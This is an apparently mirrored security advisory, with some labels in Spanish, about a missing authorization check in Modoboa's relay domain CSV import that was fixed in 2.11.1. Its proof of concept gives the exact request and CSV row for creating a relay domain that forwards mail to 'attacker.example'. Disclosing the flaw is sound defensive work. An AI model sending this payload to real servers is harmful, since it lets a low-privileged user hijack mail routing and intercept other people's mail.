GHSA-78J3-MRF9-2WX8
Missing authorization on relay domain CSV import allows any authenticated user to create relay domains
Texto original en inglés · Ver en español
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 2.11.1 | modoboa · -24 d desde divulgación | |
| Divulgación | Publicada | GHSA-78J3-MRF9-2WX8 divulgada · CVSS 6.5 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Any authenticated user, including a simple mailbox user, can create relay
domains through the identities CSV import endpoint. The relay domain is
created with an attacker-chosen relay target host and port, the user is
granted ownership of it, and administrative limits are not enforced.
Details
The CSV import machinery (`modoboa.admin.lib.import_data`) dispatches each
row to an importer based on its first column, whatever endpoint received the
file. `POST /api/v2/identities/import/` only requires authentication
(`IsAuthenticated`), as it is meant to let domain administrators import
accounts and aliases.
The domain and domain alias importers check the `admin.add_domain` /
`admin.add_domainalias` permissions themselves, but the relay domain
importer (`modoboa.relaydomains.lib.import_relaydomain`) performed no
authorization check and did not apply the `can_create_object` limits check.
A `relaydomain` row sent to the identities import endpoint was therefore
processed for any user.
Proof of concept
Authenticated as a member of the `SimpleUsers` group:
POST /api/v2/identities/import/
Content-Type: multipart/form-data
sourcefile = relaydomain;evil.example;attacker.example;25;relay;True;False
crypt_passwords = true
Response: `{"status": true, "message": "1 objects imported successfully"}`.
A `Domain(name="evil.example", type="relaydomain")` is created, owned by the
simple user, with a transport relaying to `attacker.example:25`.
Impact
A low-privileged user can change the server-wide mail routing configuration:
the server starts accepting mail for the chosen domain and relays it to a
host controlled by the user. Domain names are claimed without the platform
administrator's consent (preventing their legitimate creation later), and
reseller/domain limits are bypassed. Multi-tenant installations, where
mailbox users are not trusted administrators, are the most exposed.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypimodoboa |
Corregida | 2.11.1 | -24 d | 2.13.0 no afectada |
2.11.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/modoboa/modoboa/security/advisories/GHSA-78j3-mrf9-2wx8Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
